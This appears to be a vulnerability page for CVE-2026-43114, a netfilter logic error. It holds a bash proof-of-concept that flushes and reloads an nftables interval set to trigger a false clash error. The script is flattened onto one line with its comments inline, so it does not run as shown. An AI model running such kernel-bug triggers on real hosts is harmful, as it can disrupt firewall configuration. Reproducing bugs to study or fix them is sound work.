CVE-2026-43114 Linux内核netfilter逻辑错误漏洞

#!/bin/bash # PoC for CVE-2026-43114: nft_set_pipapo_avx2 logic error # This script attempts to trigger the clash detection bug by flushing and reloading a set. TABLE="poc_table" SET="poc_set" # Clean up previous runs nft delete table ip $TABLE 2>/dev/null || true # Create table and set with concat key (ipv4 . port) nft add table ip $TABLE nft add set ip $TABLE $SET { type ipv4_addr . inet_service \; flags interval \; } # Create a temporary file with set elements echo "add element ip poc_table poc_set { 192.168.1.1 . 80, 10.0.0.1 . 443 }" > /tmp/nft_poc.conf # 1. Load the set initially nft -f /tmp/nft_poc.conf if [ $? -ne 0 ]; then echo "Initial load failed"; exit 1; fi echo "Initial load successful. Attempting flush and reload..." # 2. Flush the set and reload (The trigger) # This mimics the test case: (echo flush set t s; cat foo) | nft -f - (echo "flush set ip $TABLE $SET"; cat /tmp/nft_poc.conf) | nft -f - # Check result if [ $? -eq 0 ]; then echo "Exploit failed: Set reloaded successfully (bug not triggered or fixed)." else echo "Exploit successful: nft reported a clash (bug triggered)." fi # Cleanup nft delete table ip $TABLE